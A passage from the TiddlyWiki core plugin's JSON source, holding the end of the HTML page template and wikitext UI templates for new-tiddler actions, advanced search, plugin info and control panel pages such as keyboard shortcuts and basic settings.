id=\"faviconLink\" rel=\"shortcut icon\" href=\"favicon.ico\">\n<title>{{$:/core/wiki/title}}</title>\n<!--~~ This is a Tiddlywiki file. The points of interest in the file are marked with this pattern ~~-->\n\n<!--~~ Raw markup ~~-->\n{{{ [all[shadows+tiddlers]tag[$:/core/wiki/rawmarkup]] [all[shadows+tiddlers]tag[$:/tags/RawMarkup]] ||$:/core/templates/plain-text-tiddler}}}\n{{{ [all[shadows+tiddlers]tag[$:/tags/RawMarkupWikified]] ||$:/core/templates/raw-static-tiddler}}}\n</head>\n<body class=\"tc-body\">\n<!--~~ Raw markup for the top of the body section ~~-->\n{{{ [all[shadows+tiddlers]tag[$:/tags/RawMarkupWikified/TopBody]] ||$:/core/templates/raw-static-tiddler}}}\n<!--~~ Static styles ~~-->\n<div id=\"styleArea\">\n{{$:/boot/boot.css||$:/core/templates/css-tiddler}}\n</div>\n<!--~~ Static content for Google and browsers without JavaScript ~~-->\n<noscript>\n<div id=\"splashArea\">\n{{$:/core/templates/static.area}}\n</div>\n</noscript>\n<!--~~ Ordinary tiddlers ~~-->\n{{$:/core/templates/store.area.template.html}}\n<!--~~ Library modules ~~-->\n<div id=\"libraryModules\" style=\"display:none;\">\n{{{ [is[system]type[application/javascript]library[yes]] ||$:/core/templates/javascript-tiddler}}}\n</div>\n<!--~~ Boot kernel prologue ~~-->\n<div id=\"bootKernelPrefix\" style=\"display:none;\">\n{{ $:/boot/bootprefix.js ||$:/core/templates/javascript-tiddler}}\n</div>\n<!--~~ Boot kernel ~~-->\n<div id=\"bootKernel\" style=\"display:none;\">\n{{ $:/boot/boot.js ||$:/core/templates/javascript-tiddler}}\n</div>\n<!--~~ Raw markup for the bottom of the body section ~~-->\n{{{ [all[shadows+tiddlers]tag[$:/tags/RawMarkupWikified/BottomBody]] ||$:/core/templates/raw-static-tiddler}}}\n</body>\n</html>\n"
        },
        "$:/core/templates/version": {
            "title": "$:/core/templates/version",
            "text": "<<version>>"
        },
        "$:/core/templates/wikified-tiddler": {
            "title": "$:/core/templates/wikified-tiddler",
            "text": "<$transclude />"
        },
        "$:/core/ui/AboveStory/tw2-plugin-check": {
            "title": "$:/core/ui/AboveStory/tw2-plugin-check",
            "tags": "$:/tags/AboveStory",
            "text": "\\define lingo-base() $:/language/AboveStory/ClassicPlugin/\n<$list filter=\"[all[system+tiddlers]tag[systemConfig]limit[1]]\">\n\n<div class=\"tc-message-box\">\n\n<<lingo Warning>>\n\n<ul>\n\n<$list filter=\"[all[system+tiddlers]tag[systemConfig]]\">\n\n<li>\n\n<$link><$view field=\"title\"/></$link>\n\n</li>\n\n</$list>\n\n</ul>\n\n</div>\n\n</$list>\n"
        },
        "$:/core/ui/Actions/new-image": {
            "title": "$:/core/ui/Actions/new-image",
            "tags": "$:/tags/Actions",
            "description": "create a new image tiddler",
            "text": "\\define get-type()\nimage/$(imageType)$\n\\end\n<$vars imageType={{$:/config/NewImageType}}>\n<$action-sendmessage $message=\"tm-new-tiddler\" type=<<get-type>>/>\n</$vars>\n"
        },
        "$:/core/ui/Actions/new-journal": {
            "title": "$:/core/ui/Actions/new-journal",
            "tags": "$:/tags/Actions",
            "description": "create a new journal tiddler",
            "text": "<$vars journalTitleTemplate={{$:/config/NewJournal/Title}} journalTags={{$:/config/NewJournal/Tags}} journalText={{$:/config/NewJournal/Text}}>\n<$wikify name=\"journalTitle\" text=\"\"\"<$macrocall $name=\"now\" format=<<journalTitleTemplate>>/>\"\"\">\n<$reveal type=\"nomatch\" state=<<journalTitle>> text=\"\">\n<$action-sendmessage $message=\"tm-new-tiddler\" title=<<journalTitle>> tags=<<journalTags>> text={{{ [<journalTitle>get[]] }}}/>\n</$reveal>\n<$reveal type=\"match\" state=<<journalTitle>> text=\"\">\n<$action-sendmessage $message=\"tm-new-tiddler\" title=<<journalTitle>> tags=<<journalTags>> text=<<journalText>>/>\n</$reveal>\n</$wikify>\n</$vars>\n"
        },
        "$:/core/ui/Actions/new-tiddler": {
            "title": "$:/core/ui/Actions/new-tiddler",
            "tags": "$:/tags/Actions",
            "description": "create a new empty tiddler",
            "text": "<$action-sendmessage $message=\"tm-new-tiddler\"/>\n"
        },
        "$:/core/ui/AdvancedSearch/Filter": {
            "title": "$:/core/ui/AdvancedSearch/Filter",
            "tags": "$:/tags/AdvancedSearch",
            "caption": "{{$:/language/Search/Filter/Caption}}",
            "text": "\\define lingo-base() $:/language/Search/\n<<lingo Filter/Hint>>\n\n<div class=\"tc-search tc-advanced-search\">\n<$edit-text tiddler=\"$:/temp/advancedsearch\" type=\"search\" tag=\"input\"/>\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/AdvancedSearch/FilterButton]!has[draft.of]]\"><$transclude/></$list>\n</div>\n\n<$reveal state=\"$:/temp/advancedsearch\" type=\"nomatch\" text=\"\">\n<$set name=\"resultCount\" value=\"\"\"<$count filter={{$:/temp/advancedsearch}}/>\"\"\">\n<div class=\"tc-search-results\">\n<<lingo Filter/Matches>>\n<$list filter={{$:/temp/advancedsearch}} template=\"$:/core/ui/ListItemTemplate\"/>\n</div>\n</$set>\n</$reveal>\n"
        },
        "$:/core/ui/AdvancedSearch/Filter/FilterButtons/clear": {
            "title": "$:/core/ui/AdvancedSearch/Filter/FilterButtons/clear",
            "tags": "$:/tags/AdvancedSearch/FilterButton",
            "text": "<$reveal state=\"$:/temp/advancedsearch\" type=\"nomatch\" text=\"\">\n<$button class=\"tc-btn-invisible\">\n<$action-setfield $tiddler=\"$:/temp/advancedsearch\" $field=\"text\" $value=\"\"/>\n{{$:/core/images/close-button}}\n</$button>\n</$reveal>\n"
        },
        "$:/core/ui/AdvancedSearch/Filter/FilterButtons/delete": {
            "title": "$:/core/ui/AdvancedSearch/Filter/FilterButtons/delete",
            "tags": "$:/tags/AdvancedSearch/FilterButton",
            "text": "<$reveal state=\"$:/temp/advancedsearch\" type=\"nomatch\" text=\"\">\n<$button popup=<<qualify \"$:/state/filterDeleteDropdown\">> class=\"tc-btn-invisible\">\n{{$:/core/images/delete-button}}\n</$button>\n</$reveal>\n\n<$reveal state=<<qualify \"$:/state/filterDeleteDropdown\">> type=\"popup\" position=\"belowleft\" animate=\"yes\">\n<div class=\"tc-block-dropdown-wrapper\">\n<div class=\"tc-block-dropdown tc-edit-type-dropdown\">\n<div class=\"tc-dropdown-item-plain\">\n<$set name=\"resultCount\" value=\"\"\"<$count filter={{$:/temp/advancedsearch}}/>\"\"\">\nAre you sure you wish to delete <<resultCount>> tiddler(s)?\n</$set>\n</div>\n<div class=\"tc-dropdown-item-plain\">\n<$button class=\"tc-btn\">\n<$action-deletetiddler $filter={{$:/temp/advancedsearch}}/>\nDelete these tiddlers\n</$button>\n</div>\n</div>\n</div>\n</$reveal>\n"
        },
        "$:/core/ui/AdvancedSearch/Filter/FilterButtons/dropdown": {
            "title": "$:/core/ui/AdvancedSearch/Filter/FilterButtons/dropdown",
            "tags": "$:/tags/AdvancedSearch/FilterButton",
            "text": "<span class=\"tc-popup-keep\">\n<$button popup=<<qualify \"$:/state/filterDropdown\">> class=\"tc-btn-invisible\">\n{{$:/core/images/down-arrow}}\n</$button>\n</span>\n\n<$reveal state=<<qualify \"$:/state/filterDropdown\">> type=\"popup\" position=\"belowleft\" animate=\"yes\">\n<$set name=\"tv-show-missing-links\" value=\"yes\">\n<$linkcatcher to=\"$:/temp/advancedsearch\">\n<div class=\"tc-block-dropdown-wrapper\">\n<div class=\"tc-block-dropdown tc-edit-type-dropdown\">\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/Filter]]\"><$link to={{!!filter}}><$transclude field=\"description\"/></$link>\n</$list>\n</div>\n</div>\n</$linkcatcher>\n</$set>\n</$reveal>\n"
        },
        "$:/core/ui/AdvancedSearch/Filter/FilterButtons/export": {
            "title": "$:/core/ui/AdvancedSearch/Filter/FilterButtons/export",
            "tags": "$:/tags/AdvancedSearch/FilterButton",
            "text": "<$reveal state=\"$:/temp/advancedsearch\" type=\"nomatch\" text=\"\">\n<$macrocall $name=\"exportButton\" exportFilter={{$:/temp/advancedsearch}} lingoBase=\"$:/language/Buttons/ExportTiddlers/\"/>\n</$reveal>\n"
        },
        "$:/core/ui/AdvancedSearch/Shadows": {
            "title": "$:/core/ui/AdvancedSearch/Shadows",
            "tags": "$:/tags/AdvancedSearch",
            "caption": "{{$:/language/Search/Shadows/Caption}}",
            "text": "\\define lingo-base() $:/language/Search/\n<$linkcatcher to=\"$:/temp/advancedsearch\">\n\n<<lingo Shadows/Hint>>\n\n<div class=\"tc-search\">\n<$edit-text tiddler=\"$:/temp/advancedsearch\" type=\"search\" tag=\"input\"/>\n<$reveal state=\"$:/temp/advancedsearch\" type=\"nomatch\" text=\"\">\n<$button class=\"tc-btn-invisible\">\n<$action-setfield $tiddler=\"$:/temp/advancedsearch\" $field=\"text\" $value=\"\"/>\n{{$:/core/images/close-button}}\n</$button>\n</$reveal>\n</div>\n\n</$linkcatcher>\n\n<$reveal state=\"$:/temp/advancedsearch\" type=\"nomatch\" text=\"\">\n\n<$list filter=\"[{$:/temp/advancedsearch}minlength{$:/config/Search/MinLength}limit[1]]\" emptyMessage=\"\"\"<div class=\"tc-search-results\">{{$:/language/Search/Search/TooShort}}</div>\"\"\" variable=\"listItem\">\n\n<$set name=\"resultCount\" value=\"\"\"<$count filter=\"[all[shadows]search{$:/temp/advancedsearch}] -[[$:/temp/advancedsearch]]\"/>\"\"\">\n\n<div class=\"tc-search-results\">\n\n<<lingo Shadows/Matches>>\n\n<$list filter=\"[all[shadows]search{$:/temp/advancedsearch}sort[title]limit[250]] -[[$:/temp/advancedsearch]]\" template=\"$:/core/ui/ListItemTemplate\"/>\n\n</div>\n\n</$set>\n\n</$list>\n\n</$reveal>\n\n<$reveal state=\"$:/temp/advancedsearch\" type=\"match\" text=\"\">\n\n</$reveal>\n"
        },
        "$:/core/ui/AdvancedSearch/Standard": {
            "title": "$:/core/ui/AdvancedSearch/Standard",
            "tags": "$:/tags/AdvancedSearch",
            "caption": "{{$:/language/Search/Standard/Caption}}",
            "text": "\\define lingo-base() $:/language/Search/\n<$linkcatcher to=\"$:/temp/advancedsearch\">\n\n<<lingo Standard/Hint>>\n\n<div class=\"tc-search\">\n<$edit-text tiddler=\"$:/temp/advancedsearch\" type=\"search\" tag=\"input\"/>\n<$reveal state=\"$:/temp/advancedsearch\" type=\"nomatch\" text=\"\">\n<$button class=\"tc-btn-invisible\">\n<$action-setfield $tiddler=\"$:/temp/advancedsearch\" $field=\"text\" $value=\"\"/>\n{{$:/core/images/close-button}}\n</$button>\n</$reveal>\n</div>\n\n</$linkcatcher>\n\n<$reveal state=\"$:/temp/advancedsearch\" type=\"nomatch\" text=\"\">\n<$list filter=\"[{$:/temp/advancedsearch}minlength{$:/config/Search/MinLength}limit[1]]\" emptyMessage=\"\"\"<div class=\"tc-search-results\">{{$:/language/Search/Search/TooShort}}</div>\"\"\" variable=\"listItem\">\n<$set name=\"searchTiddler\" value=\"$:/temp/advancedsearch\">\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/SearchResults]!has[draft.of]butfirst[]limit[1]]\" emptyMessage=\"\"\"\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/SearchResults]!has[draft.of]]\">\n<$transclude/>\n</$list>\n\"\"\">\n<$macrocall $name=\"tabs\" tabsList=\"[all[shadows+tiddlers]tag[$:/tags/SearchResults]!has[draft.of]]\" default={{$:/config/SearchResults/Default}}/>\n</$list>\n</$set>\n</$list>\n</$reveal>\n"
        },
        "$:/core/ui/AdvancedSearch/System": {
            "title": "$:/core/ui/AdvancedSearch/System",
            "tags": "$:/tags/AdvancedSearch",
            "caption": "{{$:/language/Search/System/Caption}}",
            "text": "\\define lingo-base() $:/language/Search/\n<$linkcatcher to=\"$:/temp/advancedsearch\">\n\n<<lingo System/Hint>>\n\n<div class=\"tc-search\">\n<$edit-text tiddler=\"$:/temp/advancedsearch\" type=\"search\" tag=\"input\"/>\n<$reveal state=\"$:/temp/advancedsearch\" type=\"nomatch\" text=\"\">\n<$button class=\"tc-btn-invisible\">\n<$action-setfield $tiddler=\"$:/temp/advancedsearch\" $field=\"text\" $value=\"\"/>\n{{$:/core/images/close-button}}\n</$button>\n</$reveal>\n</div>\n\n</$linkcatcher>\n\n<$reveal state=\"$:/temp/advancedsearch\" type=\"nomatch\" text=\"\">\n\n<$list filter=\"[{$:/temp/advancedsearch}minlength{$:/config/Search/MinLength}limit[1]]\" emptyMessage=\"\"\"<div class=\"tc-search-results\">{{$:/language/Search/Search/TooShort}}</div>\"\"\" variable=\"listItem\">\n\n<$set name=\"resultCount\" value=\"\"\"<$count filter=\"[is[system]search{$:/temp/advancedsearch}] -[[$:/temp/advancedsearch]]\"/>\"\"\">\n\n<div class=\"tc-search-results\">\n\n<<lingo System/Matches>>\n\n<$list filter=\"[is[system]search{$:/temp/advancedsearch}sort[title]limit[250]] -[[$:/temp/advancedsearch]]\" template=\"$:/core/ui/ListItemTemplate\"/>\n\n</div>\n\n</$set>\n\n</$list>\n\n</$reveal>\n\n<$reveal state=\"$:/temp/advancedsearch\" type=\"match\" text=\"\">\n\n</$reveal>\n"
        },
        "$:/AdvancedSearch": {
            "title": "$:/AdvancedSearch",
            "icon": "$:/core/images/advanced-search-button",
            "color": "#bbb",
            "text": "<div class=\"tc-advanced-search\">\n<<tabs \"[all[shadows+tiddlers]tag[$:/tags/AdvancedSearch]!has[draft.of]]\" \"$:/core/ui/AdvancedSearch/System\">>\n</div>\n"
        },
        "$:/core/ui/AlertTemplate": {
            "title": "$:/core/ui/AlertTemplate",
            "text": "<div class=\"tc-alert\">\n<div class=\"tc-alert-toolbar\">\n<$button class=\"tc-btn-invisible\"><$action-deletetiddler $tiddler=<<currentTiddler>>/>{{$:/core/images/delete-button}}</$button>\n</div>\n<div class=\"tc-alert-subtitle\">\n<$view field=\"component\"/> - <$view field=\"modified\" format=\"date\" template=\"0hh:0mm:0ss DD MM YYYY\"/> <$reveal type=\"nomatch\" state=\"!!count\" text=\"\"><span class=\"tc-alert-highlight\">({{$:/language/Count}}: <$view field=\"count\"/>)</span></$reveal>\n</div>\n<div class=\"tc-alert-body\">\n\n<$transclude/>\n\n</div>\n</div>\n"
        },
        "$:/core/ui/BinaryWarning": {
            "title": "$:/core/ui/BinaryWarning",
            "text": "\\define lingo-base() $:/language/BinaryWarning/\n<div class=\"tc-binary-warning\">\n\n<<lingo Prompt>>\n\n</div>\n"
        },
        "$:/core/ui/Components/plugin-info": {
            "title": "$:/core/ui/Components/plugin-info",
            "text": "\\define lingo-base() $:/language/ControlPanel/Plugins/\n\n\\define popup-state-macro()\n$(qualified-state)$-$(currentTiddler)$\n\\end\n\n\\define tabs-state-macro()\n$(popup-state)$-$(pluginInfoType)$\n\\end\n\n\\define plugin-icon-title()\n$(currentTiddler)$/icon\n\\end\n\n\\define plugin-disable-title()\n$:/config/Plugins/Disabled/$(currentTiddler)$\n\\end\n\n\\define plugin-table-body(type,disabledMessage,default-popup-state)\n<div class=\"tc-plugin-info-chunk tc-small-icon\">\n<$reveal type=\"nomatch\" state=<<popup-state>> text=\"yes\" default=\"\"\"$default-popup-state$\"\"\">\n<$button class=\"tc-btn-invisible tc-btn-dropdown\" set=<<popup-state>> setTo=\"yes\">\n{{$:/core/images/right-arrow}}\n</$button>\n</$reveal>\n<$reveal type=\"match\" state=<<popup-state>> text=\"yes\" default=\"\"\"$default-popup-state$\"\"\">\n<$button class=\"tc-btn-invisible tc-btn-dropdown\" set=<<popup-state>> setTo=\"no\">\n{{$:/core/images/down-arrow}}\n</$button>\n</$reveal>\n</div>\n<div class=\"tc-plugin-info-chunk\">\n<$transclude tiddler=<<currentTiddler>> subtiddler=<<plugin-icon-title>>>\n<$transclude tiddler=\"$:/core/images/plugin-generic-$type$\"/>\n</$transclude>\n</div>\n<div class=\"tc-plugin-info-chunk\">\n<h1>\n''<$view field=\"description\"><$view field=\"title\"/></$view>'' $disabledMessage$\n</h1>\n<h2>\n<$view field=\"title\"/>\n</h2>\n<h2>\n<div><em><$view field=\"version\"/></em></div>\n</h2>\n</div>\n\\end\n\n\\define plugin-info(type,default-popup-state)\n<$set name=\"popup-state\" value=<<popup-state-macro>>>\n<$reveal type=\"nomatch\" state=<<plugin-disable-title>> text=\"yes\">\n<$link to={{!!title}} class=\"tc-plugin-info\">\n<<plugin-table-body type:\"$type$\" default-popup-state:\"\"\"$default-popup-state$\"\"\">>\n</$link>\n</$reveal>\n<$reveal type=\"match\" state=<<plugin-disable-title>> text=\"yes\">\n<$link to={{!!title}} class=\"tc-plugin-info tc-plugin-info-disabled\">\n<<plugin-table-body type:\"$type$\" default-popup-state:\"\"\"$default-popup-state$\"\"\" disabledMessage:\"<$macrocall $name='lingo' title='Disabled/Status'/>\">>\n</$link>\n</$reveal>\n<$reveal type=\"match\" text=\"yes\" state=<<popup-state>> default=\"\"\"$default-popup-state$\"\"\">\n<div class=\"tc-plugin-info-dropdown\">\n<div class=\"tc-plugin-info-dropdown-body\">\n<$list filter=\"[all[current]] -[[$:/core]]\">\n<div style=\"float:right;\">\n<$reveal type=\"nomatch\" state=<<plugin-disable-title>> text=\"yes\">\n<$button set=<<plugin-disable-title>> setTo=\"yes\" tooltip={{$:/language/ControlPanel/Plugins/Disable/Hint}} aria-label={{$:/language/ControlPanel/Plugins/Disable/Caption}}>\n<<lingo Disable/Caption>>\n</$button>\n</$reveal>\n<$reveal type=\"match\" state=<<plugin-disable-title>> text=\"yes\">\n<$button set=<<plugin-disable-title>> setTo=\"no\" tooltip={{$:/language/ControlPanel/Plugins/Enable/Hint}} aria-label={{$:/language/ControlPanel/Plugins/Enable/Caption}}>\n<<lingo Enable/Caption>>\n</$button>\n</$reveal>\n</div>\n</$list>\n<$set name=\"tabsList\" filter=\"[<currentTiddler>list[]] contents\">\n<$macrocall $name=\"tabs\" state=<<tabs-state-macro>> tabsList=<<tabsList>> default={{{ [enlist<tabsList>] }}} template=\"$:/core/ui/PluginInfo\"/>\n</$set>\n</div>\n</div>\n</$reveal>\n</$set>\n\\end\n\n<$macrocall $name=\"plugin-info\" type=<<plugin-type>> default-popup-state=<<default-popup-state>>/>\n"
        },
        "$:/core/ui/Components/tag-link": {
            "title": "$:/core/ui/Components/tag-link",
            "text": "<$link>\n<$set name=\"backgroundColor\" value={{!!color}}>\n<span style=<<tag-styles>> class=\"tc-tag-label\">\n<$view field=\"title\" format=\"text\"/>\n</span>\n</$set>\n</$link>"
        },
        "$:/core/ui/ControlPanel/Advanced": {
            "title": "$:/core/ui/ControlPanel/Advanced",
            "tags": "$:/tags/ControlPanel/Info",
            "caption": "{{$:/language/ControlPanel/Advanced/Caption}}",
            "text": "{{$:/language/ControlPanel/Advanced/Hint}}\n\n<div class=\"tc-control-panel\">\n<<tabs \"[all[shadows+tiddlers]tag[$:/tags/ControlPanel/Advanced]!has[draft.of]]\" \"$:/core/ui/ControlPanel/TiddlerFields\">>\n</div>\n"
        },
        "$:/core/ui/ControlPanel/Appearance": {
            "title": "$:/core/ui/ControlPanel/Appearance",
            "tags": "$:/tags/ControlPanel",
            "caption": "{{$:/language/ControlPanel/Appearance/Caption}}",
            "text": "{{$:/language/ControlPanel/Appearance/Hint}}\n\n<div class=\"tc-control-panel\">\n<<tabs \"[all[shadows+tiddlers]tag[$:/tags/ControlPanel/Appearance]!has[draft.of]]\" \"$:/core/ui/ControlPanel/Theme\">>\n</div>\n"
        },
        "$:/core/ui/ControlPanel/Basics": {
            "title": "$:/core/ui/ControlPanel/Basics",
            "tags": "$:/tags/ControlPanel/Info",
            "caption": "{{$:/language/ControlPanel/Basics/Caption}}",
            "text": "\\define lingo-base() $:/language/ControlPanel/Basics/\n\n\\define show-filter-count(filter)\n<$button class=\"tc-btn-invisible\">\n<$action-setfield $tiddler=\"$:/temp/advancedsearch\" $value=\"\"\"$filter$\"\"\"/>\n<$action-setfield $tiddler=\"$:/state/tab--1498284803\" $value=\"$:/core/ui/AdvancedSearch/Filter\"/>\n<$action-navigate $to=\"$:/AdvancedSearch\"/>\n''<$count filter=\"\"\"$filter$\"\"\"/>''\n{{$:/core/images/advanced-search-button}}\n</$button>\n\\end\n\n|<<lingo Version/Prompt>> |''<<version>>'' |\n|<$link to=\"$:/SiteTitle\"><<lingo Title/Prompt>></$link> |<$edit-text tiddler=\"$:/SiteTitle\" default=\"\" tag=\"input\"/> |\n|<$link to=\"$:/SiteSubtitle\"><<lingo Subtitle/Prompt>></$link> |<$edit-text tiddler=\"$:/SiteSubtitle\" default=\"\" tag=\"input\"/> |\n|<$link to=\"$:/status/UserName\"><<lingo Username/Prompt>></$link> |<$edit-text tiddler=\"$:/status/UserName\" default=\"\" tag=\"input\"/> |\n|<$link to=\"$:/config/AnimationDuration\"><<lingo AnimDuration/Prompt>></$link> |<$edit-text tiddler=\"$:/config/AnimationDuration\" default=\"\" tag=\"input\"/> |\n|<$link to=\"$:/DefaultTiddlers\"><<lingo DefaultTiddlers/Prompt>></$link> |<<lingo DefaultTiddlers/TopHint>><br> <$edit tag=\"textarea\" tiddler=\"$:/DefaultTiddlers\" class=\"tc-edit-texteditor\"/><br>//<<lingo DefaultTiddlers/BottomHint>>// |\n|<$link to=\"$:/language/DefaultNewTiddlerTitle\"><<lingo NewTiddler/Title/Prompt>></$link> |<$edit-text tiddler=\"$:/language/DefaultNewTiddlerTitle\" default=\"\" tag=\"input\"/> |\n|<$link to=\"$:/config/NewJournal/Title\"><<lingo NewJournal/Title/Prompt>></$link> |<$edit-text tiddler=\"$:/config/NewJournal/Title\" default=\"\" tag=\"input\"/> |\n|<$link to=\"$:/config/NewJournal/Text\"><<lingo NewJournal/Text/Prompt>></$link> |<$edit tiddler=\"$:/config/NewJournal/Text\" tag=\"textarea\" class=\"tc-edit-texteditor\" default=\"\"/> |\n|<$link to=\"$:/config/NewJournal/Tags\"><<lingo NewJournal/Tags/Prompt>></$link> |<$edit-text tiddler=\"$:/config/NewJournal/Tags\" default=\"\" tag=\"input\"/> |\n|<<lingo Language/Prompt>> |{{$:/snippets/minilanguageswitcher}} |\n|<<lingo Tiddlers/Prompt>> |<<show-filter-count \"[!is[system]sort[title]]\">> |\n|<<lingo Tags/Prompt>> |<<show-filter-count \"[tags[]sort[title]]\">> |\n|<<lingo SystemTiddlers/Prompt>> |<<show-filter-count \"[is[system]sort[title]]\">> |\n|<<lingo ShadowTiddlers/Prompt>> |<<show-filter-count \"[all[shadows]sort[title]]\">> |\n|<<lingo OverriddenShadowTiddlers/Prompt>> |<<show-filter-count \"[is[tiddler]is[shadow]sort[title]]\">> |\n"
        },
        "$:/core/ui/ControlPanel/EditorTypes": {
            "title": "$:/core/ui/ControlPanel/EditorTypes",
            "tags": "$:/tags/ControlPanel/Advanced",
            "caption": "{{$:/language/ControlPanel/EditorTypes/Caption}}",
            "text": "\\define lingo-base() $:/language/ControlPanel/EditorTypes/\n\n<<lingo Hint>>\n\n<table>\n<tbody>\n<tr>\n<th><<lingo Type/Caption>></th>\n<th><<lingo Editor/Caption>></th>\n</tr>\n<$list filter=\"[all[shadows+tiddlers]prefix[$:/config/EditorTypeMappings/]sort[title]]\">\n<tr>\n<td>\n<$link>\n<$list filter=\"[all[current]removeprefix[$:/config/EditorTypeMappings/]]\">\n<$text text={{!!title}}/>\n</$list>\n</$link>\n</td>\n<td>\n<$view field=\"text\"/>\n</td>\n</tr>\n</$list>\n</tbody>\n</table>\n"
        },
        "$:/core/ui/ControlPanel/Info": {
            "title": "$:/core/ui/ControlPanel/Info",
            "tags": "$:/tags/ControlPanel",
            "caption": "{{$:/language/ControlPanel/Info/Caption}}",
            "text": "{{$:/language/ControlPanel/Info/Hint}}\n\n<div class=\"tc-control-panel\">\n<<tabs \"[all[shadows+tiddlers]tag[$:/tags/ControlPanel/Info]!has[draft.of]]\" \"$:/core/ui/ControlPanel/Basics\">>\n</div>\n"
        },
        "$:/core/ui/ControlPanel/KeyboardShortcuts": {
            "title": "$:/core/ui/ControlPanel/KeyboardShortcuts",
            "tags": "$:/tags/ControlPanel",
            "caption": "{{$:/language/ControlPanel/KeyboardShortcuts/Caption}}",
            "text": "\\define lingo-base() $:/language/ControlPanel/KeyboardShortcuts/\n\n\\define new-shortcut(title)\n<div class=\"tc-dropdown-item-plain\">\n<$edit-shortcut tiddler=\"$title$\" placeholder={{$:/language/ControlPanel/KeyboardShortcuts/Add/Prompt}} style=\"width:auto;\"/> <$button>\n<<lingo Add/Caption>>\n<$action-listops\n\t$tiddler=\"$(shortcutTitle)$\"\n\t$field=\"text\"\n\t$subfilter=\"[{$title$}]\"\n/>\n<$action-deletetiddler\n\t$tiddler=\"$title$\"\n/>\n</$button>\n</div>\n\\end\n\n\\define shortcut-list-item(caption)\n<td>\n</td>\n<td style=\"text-align:right;font-size:0.7em;\">\n<<lingo Platform/$caption$>>\n</td>\n<td>\n<div style=\"position:relative;\">\n<$button popup=<<qualify \"$:/state/dropdown/$(shortcutTitle)$\">> class=\"tc-btn-invisible\">\n{{$:/core/images/edit-button}}\n</$button>\n<$macrocall $name=\"displayshortcuts\" $output=\"text/html\" shortcuts={{$(shortcutTitle)$}} prefix=\"<kbd>\" separator=\"</kbd> <kbd>\" suffix=\"</kbd>\"/>\n\n<$reveal state=<<qualify \"$:/state/dropdown/$(shortcutTitle)$\">> type=\"popup\" position=\"below\" animate=\"yes\">\n<div class=\"tc-block-dropdown-wrapper\">\n<div class=\"tc-block-dropdown tc-edit-type-dropdown tc-popup-keep\">\n<$list filter=\"[list[$(shortcutTitle)$!!text]sort[title]]\" variable=\"shortcut\" emptyMessage=\"\"\"\n<div class=\"tc-dropdown-item-plain\">\n//<<lingo NoShortcuts/Caption>>//\n</div>\n\"\"\">\n<div class=\"tc-dropdown-item-plain\">\n<$button class=\"tc-btn-invisible\" tooltip=<<lingo Remove/Hint>>>\n<$action-listops\n\t$tiddler=\"$(shortcutTitle)$\"\n\t$field=\"text\"\n\t$subfilter=\"+[remove<shortcut>]\"\n/>\n&times;\n</$button>\n<kbd>\n<$macrocall $name=\"displayshortcuts\" $output=\"text/html\" shortcuts=<<shortcut>>/>\n</kbd>\n</div>\n</$list>\n<hr/>\n<$macrocall $name=\"new-shortcut\" title=<<qualify \"$:/state/new-shortcut/$(shortcutTitle)$\">>/>\n</div>\n</div>\n</$reveal>\n</div>\n</td>\n\\end\n\n\\define shortcut-list(caption,prefix)\n<tr>\n<$list filter=\"[[$prefix$$(shortcutName)$]]\" variable=\"shortcutTitle\">\n<<shortcut-list-item \"$caption$\">>\n</$list>\n</tr>\n\\end\n\n\\define shortcut-editor()\n<<shortcut-list \"All\" \"$:/config/shortcuts/\">>\n<<shortcut-list \"Mac\" \"$:/config/shortcuts-mac/\">>\n<<shortcut-list \"NonMac\" \"$:/config/shortcuts-not-mac/\">>\n<<shortcut-list \"Linux\" \"$:/config/shortcuts-linux/\">>\n<<shortcut-list \"NonLinux\" \"$:/config/shortcuts-not-linux/\">>\n<<shortcut-list \"Windows\" \"$:/config/shortcuts-windows/\">>\n<<shortcut-list \"NonWindows\" \"$:/config/shortcuts-not-windows/\">>\n\\end\n\n\\define shortcut-preview()\n<$macrocall $name=\"displayshortcuts\" $output=\"text/html\" shortcuts={{$(shortcutPrefix)$$(shortcutName)$}} prefix=\"<kbd>\" separator=\"</kbd> <kbd>\" suffix=\"</kbd>\"/>\n\\end\n\n\\define shortcut-item-inner()\n<tr>\n<td>\n<$reveal type=\"nomatch\" state=<<dropdownStateTitle>> text=\"open\">\n<$button class=\"tc-btn-invisible\">\n<$action-setfield\n\t$tiddler=<<dropdownStateTitle>>\n\t$value=\"open\"\n/>\n{{$:/core/images/right-arrow}}\n</$button>\n</$reveal>\n<$reveal type=\"match\" state=<<dropdownStateTitle>> text=\"open\">\n<$button class=\"tc-btn-invisible\">\n<$action-setfield\n\t$tiddler=<<dropdownStateTitle>>\n\t$value=\"close\"\n/>\n{{$:/core/images/down-arrow}}\n</$button>\n</$reveal>\n''<$text text=<<shortcutName>>/>''\n</td>\n<td>\n<$transclude tiddler=\"$:/config/ShortcutInfo/$(shortcutName)$\"/>\n</td>\n<td>\n<$list filter=\"$:/config/shortcuts/ $:/config/shortcuts-mac/ $:/config/shortcuts-not-mac/ $:/config/shortcuts-linux/ $:/config/shortcuts-not-linux/ $:/config/shortcuts-windows/ $:/config/shortcuts-not-windows/\" variable=\"shortcutPrefix\">\n<<shortcut-preview>>\n</$list>\n</td>\n</tr>\n<$set name=\"dropdownState\" value={{$(dropdownStateTitle)$}}>\n<$list filter=\"[<dropdownState>prefix[open]]\" variable=\"listItem\">\n<<shortcut-editor>>\n</$list>\n</$set>\n\\end\n\n\\define shortcut-item()\n<$set name=\"dropdownStateTitle\" value=<<qualify \"$:/state/dropdown/keyboardshortcut/$(shortcutName)$\">>>\n<<shortcut-item-inner>>\n</$set>\n\\end\n\n<table>\n<tbody>\n<$list filter=\"[all[shadows+tiddlers]removeprefix[$:/config/ShortcutInfo/]]\" variable=\"shortcutName\">\n<<shortcut-item>>\n</$list>\n</tbody>\n</table>\n"
        },
        "$:/core/ui/ControlPanel/LoadedModules": {
            "title": "$:/core/ui/ControlPanel/LoadedModules",
            "tags": "$:/tags/ControlPanel/Advanced",
            "caption": "{{$:/language/ControlPanel/LoadedModules/Caption}}",
            "text": "\\define lingo-base() $:/language/ControlPanel/\n<<lingo LoadedModules/Hint>>\n\n{{$:/snippets/modules}}\n"
        },
        "$:/core/ui/ControlPanel/Modals/AddPlugins": {
            "title": "$:/core/ui/ControlPanel/Modals/AddPlugins",
            "subtitle": "{{$:/core/images/download-button}} {{$:/language/ControlPanel/Plugins/Add/Caption}}",
